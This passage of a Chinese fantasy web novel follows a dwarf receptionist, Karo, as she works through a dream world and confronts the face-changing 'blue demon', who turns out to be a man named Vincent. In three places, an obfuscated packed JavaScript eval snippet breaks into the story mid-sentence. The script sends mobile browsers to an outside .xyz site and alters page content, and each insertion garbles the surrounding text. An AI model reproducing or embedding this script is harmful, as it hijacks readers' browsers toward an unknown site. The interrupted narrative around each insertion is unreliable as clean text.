“哈——”青鬼的声音变得尖锐，“谁会看啊！就算我已经死了，也是不会对你们人类感兴趣的！” ……那你为什么还要为了获得人类的喜爱频繁换脸啊。 “少管我！” 只是两句话的功夫，青鬼又躲了起来没再理会我的呼唤。这家伙脾气真差。 “要进行考试的就是这位小姐吗？”总部的接待员姐姐半蹲下来和我平视，“您就是卡萝小姐是吗？接下来我会向您提几个问题，确保您是本人。” 在绘影魔法还没有完全普及时，想要核对报名人和来考试的人是否一致，只能选择最简单的提问还有基本的检测。 经过一番核对，接待员姐姐很快就通过了我的考前核验，让我去后面的房间等待。 和会长大叔还有卢卡挥手告别后，我推开门，里面已经坐着三四个人了。 接待员的考试比较特殊，没有笔试的部分，直接就是面试了。一是因为报名的人其实并不多，不需要进行多余的步骤筛选。二是接待员更看重的是临场反应，毕竟不可能遇上一个问题就翻《接待员万能手册》找答案。 我似乎是这批中的最后一位，刚入坐没多久就有人来主持考试了。 “那么，考试正式开始。请各位举手抢答，我会根据你们整场考试的表现评分。” “第一题，当冒险者向你打听身份需要保密的委托人时应该如何解决？” 我举手，得到对方的眼神示意后答题：“根据《接待员万能手册》第三章第四十八条，尊重委托人保密身份的意愿，并冷静且面带微笑地告诉冒险者：公会有责任为委托人保密。如果对方一再追问便应强调此事违反公会规则，会影响到冒险者的任务接取。” 这种题目并不难，难的是如何在考试这种高压环境下一瞬间回想起内容并举手条理清晰地回答问题。 “第二题……” 一共十道题目，我抢答完前五个之后就没再举手回答了。考虑到其他人也需要表现的机会，我就稍微收敛了一下。 和以前的我比起来成熟了很多啊我，之前还没有经历过社会打磨的我可是在考试中抢答完所有题目，让考官无奈地把我禁言了，在后面的十题加试里都不准发言。 考试结束后我就收到了新鲜出炉的接待员证。这个时候还不像之后会拖个好几天就为了把留影魔法留存下来的证件照印在证件上。这会儿的证件制作朴素的很，只是把证件照贴上去盖个章就算完成了。 “卡萝。”卢卡似乎蹲在门口很久，听见我的脚步声就急急忙忙地起身，结果腿麻了整个人就挂在了我身上。幸好这孩子还没长成现在那体型，这个重量我还是承受的住的。 “你就是刚刚考试的时候连续答了五道题的卡萝小姐吧？”刚刚的考官走到这边半蹲下来，“原本我是想着矮人不太适合接待员这一工作的……” 哈——这人是在搞种族歧视吗？我要把这家伙的脸记下来，回到现实后举报他。 “毕竟矮人的身高不太方便，如果公会的前台比较高那就得踩着箱子工作了不是吗？而且交付货物的话也要不停地爬上爬下的，会很辛苦。” 这样啊，那原谅你刚才的出言不逊了。 “还有一点啊，就是接待员我还是偏好长相漂亮的孩子。这样火气比较大的冒险者看见漂亮的脸也会熄火……” 虽然我也是那种看见漂亮的外表就会原谅对方的人，但是听见别人这么说确实会来气啊。 “嘛——总之，卡萝，你的专业水平让我很看好你。但是你自身条件又不太适合这一工作——总之，以后能走多远还得看你自己的努力了啊。”考官拍了拍我的肩就离开了。 “嘁。”青鬼这会儿又来讨骂了，“谁来讨骂了啊！我是想过来说你这家伙干得还不错，过了第一关。” 我打算参加接待员考试也就是个临时的决定，你这个“第一关”的说法该不会是临时编出来的吧？ 青鬼的声音瞬间提高了好几个八度：“呸！谁是临时起意啊！我可是这个梦境的掌控者！我想做什么就能立刻做好！” 俗话说，越没有什么就越在意什么。我根本没提这个梦境，青鬼就自己提起了。看来这家伙确实不是控制梦境的人。 “谁说我不是！下面直接给你跳到三年后！”青鬼大吵大闹像个熊孩子。 但是也只是停顿了几秒，场景便切换成了公会的样子——和现在的公会布局很相似。 我随便扫了几眼公会的设施，大概就能明白这里已经发展到什么程度了。嗯，大概是百分之四十左右的现在进行时公会吧。 公会的布局这一点我们五年前也是这副样子没什么变化，但是公告栏上看着就还崭新的“讨伐征集”公告还有任务栏上比较空荡的一大块位置都说明了来这里接取委托的冒险者并不多。 这还真是奇怪。按理来说沃尔德分会作为最低委托等级C级，位置靠近魔物森林，报酬给得十分爽快而且交付委托的速度也比大型公会要快上不少的公会，不说人满为患，至少也该时不时就有人进来咨询吧？怎么会那么冷清呢，我都在这里站了半小时了还是没什么人来。 “所以说是因为脸啊。”青鬼嘲笑道，“因为你没有那张好看的脸了，所以没什么人来啊！” 嗯——啊，对了，是这个原因啊。 要是能把青鬼揪出来我真的很想再给他一巴掌，都怪这家伙突然就要跳到三年后的时间线。我明明还打算在总部派发沃尔德分会的宣传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14366015|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单的，肯定是没有把那次的宣传行为算上，加上这家伙加速梦境根本就没考虑过我的行为逻辑所以才会变成这个样子。 “哈？找借口也不能这样吧！”青鬼嚷嚷了起来，“再说了，又不是我要这样的！是你说不相信的！” 这家伙好吵啊……算了，和这家伙掰扯也没什么用，想想别的办法吧。 恰好在这时，我听见了马车滚轮的声音，闻见了香甜的气息。稍微不那么体面地从前台翻了出去，我追着马车跳进了最前面那辆气派的车里。 “什么人？”坐在马车里的乔先生显然被我吓了一跳。 “您好，我是冒险者公会沃尔德分会的接待员卡萝，这次找您是想请您帮忙……”乔先生这会儿并不认识我，所以我也不确定他是否愿意协助我们，毕竟和他关系更好的会长大叔此时还没和他成为酒友兼（好骗的）交易对象。 “想让我帮忙？”乔先生挑了挑眉毛，双腿交叠。这时候的他还蛮符合“抬着下巴看人”的描述——啊，不是说身高哦，是说他太傲了。感觉是还没怎么尝过挫折的大少爷呢。看，他甚至都没问我怎么跳进来的，也没找我要接待员的资格证证明自己的身份！ 没有展现出值得投资的价值，商人是不会答应这笔交易的，奸商更不会。只不过，比起这个并不了解我的乔先生·青春版，我可是十分知道乔先生的喜好的。 “帮忙的话公会的所有商品交易都会率先考虑你们。”这个条件可能还不够他出手，考虑到之后的事情我又补充：“再加上在沃尔德镇周边的商队保护。” “有点意思。”乔先、额，这会儿还是叫他小乔吧。很难对能做出完美符合“邪魅一笑”的家伙尊称为乔先生。 小乔撩起他的刘海，身上飘着和整个商队一样甜蜜的香味，用那双黑色像是漩涡一样的眼睛和我对视：“可是，这个所谓的‘沃尔德镇周边’又该如何定义呢？几公里？我们商队的能人异士也不少，这周边能有什么危险是他们对付不来的？你又有什么证据能够证明你们公会有这个能力保护我们商队呢？” 明明都没让我自证身份，竟然还知道要找我要证明，看来年轻时候的小乔还是没有那么好糊弄的。我还以为只要提出几个听起来还不错的条件，他就会乐颠颠地上钩呢。 也对，毕竟是差不多这个年纪就可以和会长大叔当酒友还能骗他买下一堆没用东西的奸商。 “沃尔德镇周边，即是以沃尔德镇为中心的五十公里。”嗯——梦境里的卢卡应该会很累吧，累点就累点吧，我也会帮忙的。“至于危险——” 在内心默数了五个数，听见外面“咚——”地撞击声后我才继续说：“危险已经来了。”而且是这些能人们无法应对的危险。 撩开马车的帘子，我向小乔展示了沃尔德镇的特产——沃尔德巨蜂和蜜月熊。 “将将，是喜欢吃蜂蜜的魔物们。” 15. 工作法则十五 虽然我的本意并不是拿这些魔物威胁小乔的，但是他好像会错意了。 “你意思我明白了，只要答应你的要求就可以解决这些魔物对吧……”小乔扶着额头，对我摆了摆手，“可以，我会帮你的忙的，只要能让我们的货物不受损害就行。” 没想到还有意外之喜。 “但是你之前提出的商品交易还有沃尔德镇的周边保护还是要做到的。” 嘁，我还以为这家伙会慌不择路地忘记这回事。 算了，反正在这个梦境也待不了几天。我从窗户那里爬出去，在小乔大声的呼唤中平安落地。 小乔商队中的护卫看见我先是警惕，可能是看我个头太小没什么威胁又劝说我离开：“小妹妹，这里很危险，快走吧。” 对于不太懂得沃尔德巨蜂和蜜月熊情况的人可能是很危险没错，但是在沃尔德镇这边生活的镇民们都知道，这两种魔物只是单纯的好吃而已。蜂蜜，又是它们最爱的一种。 想要避免它们穷追不舍把马车像拆礼物盒子那样拆开最简单的办法就是——火。沃尔德巨蜂畏火。蜜月熊则如名字一般只会在月亮出现的夜晚觅食，所以它畏强光。商队再往前一段路就能离开森林了，到那时候没有树林的遮挡蜜月熊就会自行离开。 借了护卫的火珠给随便捡到的粗壮树枝点火，一个简易的火把就完成了。 朝着沃尔德巨蜂挥舞一下，它就识相地离开了——唔，可能也有认识我的缘故。毕竟那家伙尾部的花纹看起来很像是以前我常常驱赶的沃尔德巨蜂。 不过蜜月熊对于我这个火把毫无反应，毕竟从它的角度看就是个小矮子在挥舞着一根牙签，顶多是根会亮的牙签，对它构不成什么威胁。 算了算距离，离小乔的商队离开可能还得半个小时。让它一直跟着好像也没什么关系，还能再和小乔讲讲价…… “小姑娘，危险！” 突然被猛扑到地上的我看着护在我上方的姑娘有点眼熟……和那位厨师姐姐长得好像啊…… “没事吧？有没有受伤？”厨师姐姐一把抱起了我，护着我的头就往车队的方向跑。 蜜月熊的怒吼近得仿佛就在耳边，那只锋利的熊掌似乎就要撕裂这位姑娘的后背。 唉……真是没办法。既然做饭好吃的厨师姐姐也在，那我就提前解决这个麻烦吧。 借了眼前人的力跳到了蜜月熊的胸前，我踹了这个狂躁的大家伙一脚，同时借着滞空的机会转换方向落到了熊臂上，顺着肩膀到了脑袋边。掏出我刚刚从厨师姐姐腰间的背包里顺走的辣椒粉朝着这家伙的眼睛一挥—— “嗷——嗷——”熊掌捂着眼睛躺在地上滚个不停，这家伙的叫声也震得盘踞在森林高处的鸟儿们飞离此地。 我把这只蜜月熊打昏拖到一个阴暗的角落，确保它一时半会没办法醒过来才回到车队附近。 让我意外的是，我原本以为小乔会趁我处理蜜月熊的时间迅速撤离，没想到他们竟然还停留在原地。 “解决了？”小乔掀开车帘看见我便放下了心，“好吧，你说的事情我会帮忙，等下次我们车队到这附近时也会提前给你打个招呼让你派人来保护。” “艾比。” “是！”我身边的厨师姐姐立马行礼致意。 “以后你负责和这个小姑娘对接相关的事项，现在你送她回公会。我们会在前面的城镇休息，你到那里和我们汇合。” “是！”艾比姐姐立马牵着我的手打算送我回公会。 嗯，总之，这次也算是勉强达到目的了吧？话说之前听会长大叔吹牛说的“曾经从魔物手下救下了乔的商队”应该指的就是这次事件了吧。我记得有提到过“蜂蜜”还有“蜜月熊”来着…… “小妹妹，你几岁了呀？”艾比姐姐弯着腰问我。 我想了想：“以正常的方式计算的话，大概是十三岁。” “你已经十三岁了吗？”艾比姐姐十分惊讶地提高了音量，之后又意识到了什么压低了声音小声嘟囔，“我还以为才七八岁……” 现在的我还没有以前同年龄的我高。我觉得大概就是早早上班被生活的压力阻碍了生长空间的原因吧。都是青鬼的错。 “艾比姐姐，你们的商队好像没有考虑过被魔物袭击的防备方法呢。”不管是人员配置还是应急的处理方案上都像是没有做过这方面预设一样。难道说这也是青鬼没有考虑周全的原因？但是会长大叔好像也说过类似的事件…… 艾比姐姐挠挠脸：“这个嘛，原本我们是打算从另一条路走的。只不过那条路上有个城市在闹革命……所以只能临时绕路来这里了，乔少爷他应该也没有考虑到会有魔物这一点吧。” 绕路啊，这倒是能说通了。毕竟艾比姐姐他们更像是专门应对劫匪的护卫，对于魔物这种还是冒险家更为擅长。额，不过现实世界中的乔先生似乎也没有换过护卫，他一点也不担心类似的情况再次发生吗？ “呼——不过这次之后乔少爷肯定要派我们分批进修了……虽然有补贴，但是我真的不想学习啊……”艾比姐姐长叹一声，“要是我能被分配到专修厨艺的小组就好了，这样就不用去学什么魔法了，那些咒语太难记了……” 没问题的艾比姐姐，几年后你就能成为一个兼职保镖的厨子了！ “好啦，把你安全送到家。”艾比姐姐半蹲下来摸着我的脑袋和我道别，“哎呀，这是你弟弟吗？” 感受到背部上趴着的重量，我摇摇头又点点头：“不知道谁比较大，但是我们按照先来后到的顺序排大小的，所以也可以称为弟弟。” 卢卡估计是因为我离开的时间太长感到不安，所以这次挂在我身上的时间格外久。 不过三天后，他就不得不放开抓着我衣摆的手。 小乔的宣传效果十分不错，冒险者们不断地前来咨询、接取任务，这让卢卡这个日常只有练剑的家伙都得过来帮忙了。是忙到连猫的爪子……不对，连狗狗的爪子都要借来用的程度了。 “卡萝小姐，请问这项任务的要求……” “卡萝小姐，这十瓶药剂麻烦给我包一下，我要带走。” “卡萝小姐，我来交付任务啦……” 源源不断的工作让我恍惚间以为自己回到了现实，重新过上了睁眼就是工作，闭眼还要考虑工作的生活。 “哈哈哈，最近这几天的进账很是不错啊，卡萝，这还是多亏了你啊。”会长大叔拍着我的脑袋大声笑道，“哎呀哎呀，这些钱够我们去酒吧好好吃一顿了啊！” 我拽住他打算摸钱袋的手：“不可以。这些钱要用来打理公会，而且不能带卢卡这样的小孩子去酒吧，会带坏的。”当然，我可以去。毕竟以前就去那里蹭过很多次饭。 “还有，今天是周五，你只是想去听新来的驻唱歌手唱歌吧。”我忍不住用了点力气，捏得大叔嗷嗷叫。 “嗷嗷，知道了知道了，快点松手，大叔我的手腕要断了！” 不知道为什么，先前那样冷清的时候感觉无聊，这种工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376158|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作繁重忙得脚不沾地的日子反而更让我舒心……难道我就是天选打工人吗…… 又过了一段时间，一个棕发红眼的青年敲开了公会的大门：“您好，请问是卡萝小姐吗？” “您好，请问您需要什么帮助？” “是……这样的，我可能需要出门很久，所以有件事想拜托您帮忙。”棕发的青年挠了挠脸上的雀斑，“呃，就是有一封信可能需要您帮忙保管。” 啊，是这个时候了啊。我在心里默默叹气，估计再过几天那个城市的战争也要有结果了。就是不知道在梦境里又会有怎样的伤亡…… “当然，请您放心交给我吧。”我双手接过信件，“那么，是需要交付给谁呢？” 我的弟弟。我在心里默念。 “我的弟弟。”青年不好意思地笑了起来，“那孩子年纪还小，所以这次出门不能带上他。” 我理解地点点头：“您说得没错。” “那就拜托您了。”青年嘱咐完后向我郑重地鞠躬，转身离开。 我也鞠躬道别：“祝您一路顺风。” “为什么还有人会千里迢迢跑过来拜托你保管一封信啊。”青鬼突然冒了出来，语气很是酸涩。嗯，大概是在嫉妒我吧。 “谁嫉妒你啊！”他大声嚷嚷，“说到底，你到底有什么魅力能让那个黑头发的愣头青和这个雀斑脸都被迷惑了一样啊！” 黑头发的愣头青是说小乔吧……那是非常简单的利益交换。至于刚刚那位先生，他应该是听闻了我的专业能力，所以十分信任我会好好保管信件吧。毕竟靠谱的大公会通常都会积压很多信件，如果未来他的弟弟来领取信件就要经过非常漫长的等待，各种各样的诸如“如何证明你是你哥哥的弟弟”这样的手续证明。而我们的公会规模不大，唯一的接待员业务能力又十分出众，自然会选择这里了。 不过我觉得这些道理，只知道变得更美的青鬼是不会明白的。 “想变美有什么错啊！”听见我内心偷偷蛐蛐他，青鬼很是不满。 这个倒是没错啦……不过你这家伙真的明白一个受欢迎的人需要具备什么条件吗？ “哈？那还用说吗？只要长得好看肯定会受欢迎啊！” 是吗？但是你把我变成这副样子又附在我身上这么久，一点也没发现吗？ “你指什么？” “无论我长什么样子，会长大叔和卢卡对我的态度都没有变化不是吗？”甚至卢卡还更黏我了，当然这也有我比小时候对他更温和的原因。 “而且啊，不论是获得了接待员的资格证还是现在变得热闹多了的公会都和我长什么样没关系吧？” 抓住我话语的破绽，青鬼冷哼：“哈，但是你也根本没能把这里变得和现实一样，不就是因为你没有那张漂亮的脸皮吗？” “这我不否认。”我耸耸肩，“人类都向往美好的事物，魔物大概也如此。但只要再过一段时日这里就会和现实中一样热闹起来，这点你应该是知道的吧？” “嘁……” 就算是梦境，这里的冒险者们也是会选择最优选项的。更丰厚的报酬、更简单的流程还有更出色的接待员，选择沃尔德分会只会是他们做出的最佳选项。 “我是不清楚你经历了什么才会变成这幅样子，但是青鬼，你在不停寻找更漂亮的脸时有停下来和身边人交流过吗？你有展现过你最真实的一面，有人能接受这样的你吗？还有……” “你还记得你原本的脸长什么样子吗？” 16. 那个讨厌的接待员·十六 文森特讨厌那个接待员！ 总是一脸笑盈盈地和珍妮说话！ 害得珍妮最近张口闭口都是他，也不怎么找他玩了！ 本来就没什么朋友的文森特更加孤单了，只能缩在自己的小木屋里日复一日地期盼珍妮的到来。 “喂，笨蛋雀斑脸。”是镇上讨人厌的小孩们，“你不会真的认为文森特喜欢你吧哈哈哈哈！” 文森特关上窗户，装作不在意他们的话语，但难免会被刺伤。 文森特，就连文森特这个名字都是珍妮?文森特给他起的。镇上的大人只会喊他臭小鬼，那些讨厌的孩子们给他起了个外号“雀斑脸”。 “珍妮……”期盼了多日的珍妮终于光顾了他的小木屋，“有没有什么办法能去掉雀斑呢？” “嗯？”珍妮歪着头笑得很可爱，“为什么要去掉呢？这样不是很可爱吗？” 被夸可爱让文森特的耳朵一红，他结结巴巴地解释：“因为、因为其他孩子们都没有雀斑，只有我一个人有很奇怪。” 出于没用的自尊心，他没能把那些讨厌鬼在珍妮背后喊他“雀斑脸”“麻雀小鬼”的事情说出口。在喜欢的女孩面前丢面子在这个年龄的小鬼看来可是天塌了。 “但是只有文森特有雀斑不就代表你是最独特的那个吗？”珍妮捧着文森特的脸左看右看，“而且这些雀斑看起来很可爱呀。” 脸红得发烫，文森特支支吾吾地应了一声。 “唔……”看他还是会时不时地扣扣雀斑所在的位置，珍妮还是想出了个办法。 “珍妮，这是什么？” “这是面粉，可以盖在脸上遮住雀斑。”珍妮笑着抓了一把面粉抹到脸颊上，“像这样就可以藏起来雀斑了哦！” 文森特跟着珍妮的示范动作，然后对着珍妮带来的镜子中的自己惊讶：“真的消失了！” “谢谢你，珍妮！”文森特激动地握住珍妮的手猛摇，“真的很感谢你！” “没、没什么啦……”珍妮不太好意思地别过脸，“其实文森特你不抹这个也很好……咦？” 她看向对面，那里空无一人。文森特在道谢后就跑出去晃悠，忍不住想昭告全镇他的雀斑没了。 “真是的……”珍妮气鼓鼓地收拾了东西回家，路上看见被一群女孩子们围住的文森特时也扭过头昂着金色的小脑袋离开了。 * 文森特讨厌那个接待员。 脸上带着嘲讽的笑容对他说着：“真羡慕文森特先生有个那么漂亮又出色的太太。” 嘁。 珍妮很优秀这点，文森特也早有体会。毕竟从儿时算起，她就经常蝉联学校的第一，还总是带着课本到他家教他学习。 现在担任着镇上的老师教导孩子们学习。 至于文森特他自己——他之前的工作辞了，因为同事们总会恶意满满地笑话他脸上抹了面粉。 “文森特，你也该去找份新工作了吧？”珍妮疲惫地回到家，看见做好饭的文森特她捏了捏眉心，“虽然我觉得家里有个人做家务也很好，但是我一个人的工作恐怕支撑不了……” “啪”，文森特没拿稳盘子。 那块光滑洁白的瓷器就那样跌落在地上碎裂。 “你没事吧？”珍妮连忙凑到文森特身边观察，“有没有受伤？” “我没事。”文森特艰难地露出个笑容，“先吃饭吧。” 彻夜未眠的文森特在天未明时留下一封信，出了门。此后，再也没回到过那个地方。 * 青鬼讨厌那个接待员！ 那个矮个子竟然拿着剑对着他！嘴里还念叨着：“不允许你伤害文森特夫人！” 哈，可笑！他只是觉得这小鬼银白的头发很是特别，所以过来看一看要不要把她加入未来的收藏而已，结果会把他当作是个会对脸上都有皱纹的中年妇女下手的混蛋！ “小鬼，你可别误会了。”青鬼恨得牙痒痒，“我的目标是你！” 看上去大概也就六七岁的小姑娘持着剑把黄发的妇人护在身后：“变态。” “那个……小卡萝？”珍妮·文森特把面前的小姑娘抱在了怀里，“这种时候应该是让大人保护才对，如果不信任珍妮老师的话可以先跑去找你的爸爸。” “是欧文大叔，不是爸爸。”名叫卡萝的小女孩摇了摇头又点点头，“我知道了，我现在就叫大叔过来帮忙。” 她轻轻一挣跳到地上，撕碎了一个卷轴。卷轴瞬间破碎成光点，那些光点又凝聚成一只兔子的花纹飞到了天上，发出“轰——”的声音。 青鬼暗道不妙，他还没打算在这里结束，见势不妙的他立马跳进夜色朦胧的树林。 “总觉得他长得很像我认识的一个人……”珍妮·文森特站在原地看着青鬼的背影许久，才感叹出声。 “还有小卡萝，”珍妮半蹲下来摸了摸女孩银白的短发，“虽然知道你最近帮上了很多忙，但是在面对坏人时还是要先注重自己的安危才行。” “但我现在是临时接待员。”小姑娘挺了挺胸，衣服上别着的“临时接待员”徽章此刻闪闪发光，“大叔说，接待员也有责任保护大家。” 珍妮忍不住给了她一个脑瓜蹦：“那是正式接待员需要做的事情。像你们这样的临时接待员只要负责发放物资就可以了。” “……那我要当正式的。”卡萝想了想，从口袋里掏出一个小狗贴纸把前面的“临时”给遮住了。 “哈……”小朋友的想法总是天真又可爱，这让珍妮忍不住笑出声，“不是哦，正式的接待员要等你长大以后通过考核才能当，你现在年纪还是太小了。” 银色的脑袋歪了歪：“其实我是矮人，现在已经长大了，只不过矮人天生就是这样的身高……” * 青鬼讨厌这个接待员。 她平静地指出了他的痛点。 “你还记得你原本的脸长什么样子吗？” 他原本的脸……他原本的？ “我是杜宾……不、不对，那是某个贵族的三少爷……我叫卡罗琳，也、也不对，那是小城镇的一个厨娘……阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385474|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡利纳？阿比盖尔？布拉德？图尔奈？我、我是……” “我是谁来着？”青鬼捂着脑袋，因为不断地翻找记忆使身体颤抖不止。 “我是……” “你是文森特。”那个接待员语气平淡，“你是珍妮·文森特离家出走的丈夫，是韦尔斯·文森特的父亲。是一个无父无母，生长在某个小镇边缘的孤儿。” “你在离家出走后流浪了很久，某天醒来发现自己的身边多出了一张青色獠牙的鬼面。出于好奇你戴上了那个面具，之后想要鲜血的欲望控制了你的大脑。等你再次清醒过来，你透过地上还未干涸血液的照射下看见了完全陌生的自己的脸。” “你在那一刻并没有感到害怕，而是兴奋到颤栗，你终于可以更换一张更漂亮的脸了。这是你从小到大的愿望，不是吗？” 青鬼，或者说文森特，颤抖着声音：“你、你是怎么……” “我是怎么知道的？”她将碎发别到而后，“我说过吧，我的记性很好。接待过的客人的脸不会忘记。” 就算只是临时接待员的身份，也能记住那位金发的夫人和她讲述的故事。 “不要小看真正爱你的人，她可是在见过那一面之后独自搜集了很久的资料，还给我一个委托。你想知道那个委托的内容吗？” 如果此时青鬼面具戴在这位接待员小姐的脸上，一定会露出残忍而嘲讽的笑容：“她说，请消灭青鬼。” 文森特不知道此刻自己该露出何种表情，他为珍妮能够认出变化样貌的他感到喜悦，又为自己从没有再见过她感到懊恼。 “好了，文森特，不，青鬼先生。”接待员敲了敲自己的脑袋，“你也该从我的脑袋里滚出来了吧。我动手的话你还能留个全尸，等卢卡过来你可能只剩个脑袋了。” 棕发雀斑脸的中年人第一次在接待员面前显身：“……你说得对……是我没能注意到。如果我能早点意识到珍妮她很爱我，那我也不会……” “好了，没时间给你说遗言，永别了。”接待员利落地抽出怀里的小刀刺入青鬼的心脏。 顷刻间，梦境破碎。在剧烈的眩晕后，接待员小姐睁开眼，看见了酒店的客房。 她站起来活动了下筋骨，到阳台上吹了吹风。 脸上没有异物的感觉真是清爽不少，只不过…… 她摸了摸右耳突然冒出来的青色挂坠：“嗯，总之先留下来当交付的材料吧。希望珍妮老师不会发现我先前忙到忘记查看委托的资料。” 因为是许久未见的以前待她很和善的夫人的委托，忙了好一阵的卡萝把这件事拜托给绝对能完成任务的卢卡后就一头扎进工作的海洋。甚至都没有时间细看资料，这是工作的大失误啊！大失误啊！ 好在卢卡斩首青鬼的当晚，她想起来了这么一回事，所以研究了一晚上的任务资料——还有《接待员万能手册》。 这才了解到这件事的前因后果。 不过现在仍然有个问题横在她的面前，那就是—— 要如何解释青鬼的首级变成了一只耳坠呢？ 17. 工作法则十七 结束例行的晨练，我和卢卡回到旅馆。 关于青鬼变成耳坠的事情我倒是都在刚才和他说过了，除了这件事外还有一件十分重要的事情需要告知。 “卢卡。”在推开房门前，我叫住他。 是的，这件事非常重要。现在就得告诉他才行。 “卢卡，我……”老实说有点不好在这种场合说出口，但是我如果不现在说出口心里总觉得有件事。 “哦！卡萝小姐，早上好！”查尔斯精神满满地从对面的房间出来和我打了个招呼，“卢卡先生也早上好！” “早。”看见他整装待发的模样，我便能想到他要去做什么了，“今天去公会总部办冒险者证？” “是的！”真羡慕他这浑身使不完的劲，“听说这里的人会很多，所以我打算提前两个小时去排队！那么我先走了！” 话音未落他就匆匆下了楼梯。 “年轻人的精力真是旺盛。”望着他的背影，我不由得感叹。 这时，身后又传来了门开的声音。走出来的是艾比姐姐，她伸了个懒腰打着哈欠朝我们问好：“早啊，早饭有想吃的吗？我可以帮你们准备。” “厨房，可以？” “卢卡的意思是，厨房可以让我们使用吗？” “嗯……按理来说是不行，但是我曾经在这里研学过一段时间，所以我可以进去用厨具。”艾比姐姐拽下手腕上缠绕的方巾，将长发绑起，“要点餐的话趁现在哦。” 能够点餐确实很让人心动呢，不过也不好太过麻烦对方，所以我们只要了两份和艾比姐一样的早餐。 等艾比姐哼着歌下楼后，我再一次开口：“卢卡……” 楼梯传来的急促脚步声打断了我的话语，虽然能够凭借着这个声音辨认出来是谁，但这时候我还是有些无语。总觉得今天一直在被打断发言，怎么回事？ 查尔斯急匆匆地跑回房间，发出“噼里啪啦”的翻箱倒柜的声音后又飞奔下楼。 大概是忘带了东西，这会儿回来拿的吧。 不行，这件事很重要，今天一定得和卢卡说清楚才行。 我把卢卡拉进房间，让他坐在沙发上，十分严肃地开口：“卢卡，你该好好学习了。” 没错，从梦境中醒来后我就意识到了以前的疏忽，没能好好教卢卡说话认字这一点。这样下去，以后他要是出远门做长线任务该怎么办？和队友的交流也会成一个大问题，万一因为不认识路标上的字走错路那可就麻烦了啊！ 越想越觉得这件事格外重要，为了好好制定教学任务，我决定先给他做个摸底测试好了：“来，这是旅馆的传单，你能认出哪些单词？” 旅馆的传单是每个房间都有的，为了达到宣传的目的，上面的单词都是简单易读的。我觉得不说百分之五十，卢卡至少也能认出百分之三十吧。 不是我对他没信心，是我对自己以前的教学偷懒很有自知之明。说到底，小时候的我本来就是很爱玩的年纪，这种时候被塞了一个教另一个小孩学习的任务就很不合理啊。果然还是会长大叔……啊，也不能算是他的错了，毕竟那时候他也在忙着经营公会，而且卢卡是我捡回来的，说要养的也是我……咦，所以说这一切都是我的错吗？ “卡萝……”卢卡可怜巴巴地看着我，用眼神告诉我他和这张传单上的单词都很陌生。 好，很好，竟然连百分之三十都没有……是教育的大失败啊！卡萝，你在做什么呢！工作忙到忘记查看任务资料，但是和卢卡一起生活了那么久竟然都没有察觉到这孩子是个文盲吗！眼睛是用珠子做的嘛！ “好，撒娇禁止。”我用双手捂住卢卡的眼睛以免自己心软，“你的识字和说话教学要提上日程了卢卡。我会好好监督你学习和考试的。” 卢卡还肩负着三口之家唯二赚钱，唯一赚大钱的重大任务，所以怎样协调好学习和工作生活是个难题。 艾比姐姐的早餐也送来了，我们就在房间里用餐。坐在沙发上，趁着离公会总部正式开门还有些时间，我得给卢卡之后三个月的学习目标制定好。 可能是因为无聊，也可能是因为好奇。卢卡用他的脑袋压在我的头上，虽然有点沉，但是我现在没有功夫制裁他，只能把这个很可能是导致我长不高的原因化为丰富的学习课程以示回敬了。 嗯，这种时候卢卡看不懂单词反而是件好事呢。 敲定好教学计划，也差不多该去公会总部了。青鬼任务虽然是珍妮·文森特小姐直接委托给我的，但是相关的流程还得通过总部。其实从便利的角度而言，我只要经过委托人的同意就可以算完成任务了，也就是说，只要告诉珍妮小姐来龙去脉就可以拿到报酬。 可专业的接待员绝对不能为了图便利而省流程。正常的过程是负责任务的接待员确认完冒险者提交的东西和任务要求一致后，用留影魔法存档，等年末和其他存档的资料一起送回总部。出现这种提交物品不一致的情况，接待员首先应该联系总部寻求解决方案。 而为了节省寄送信件一来一回可能要反复拉扯很久的时间，我直接敲响了所有接待员的领导——玛格丽特小姐的办公室门。 “哎呀，这不是小卡萝嘛。”涂抹着指甲的年轻女人看见我很是高兴，朝我招招手让我过去，“来来来，看看我的指甲涂得怎么样？” “玛格丽特小姐，关于A-Z231任务的相关情报……” 黑色波浪卷的女人无所谓地摆摆手：“没事，你就按你的想法来就行，不用一一和我汇报。” 哈……即使知道玛格丽特小姐对我一直有莫名的信任心，但是真的听见她这么说总有种前面打好的腹稿都白做了的想法…… “卡萝你就是太一板一眼了啦，偶尔可以灵活一点~” 我不觉得按照流程做事也能被称为“一板一眼”，不过这样也好，不用把我中间戴上面具的事情也一并汇报了。 “那，我就……”既然没有其他事了，我便打算告辞。 玛格丽特小姐叫住我：“等一下，卡萝你留下。卢卡先出去等着。” 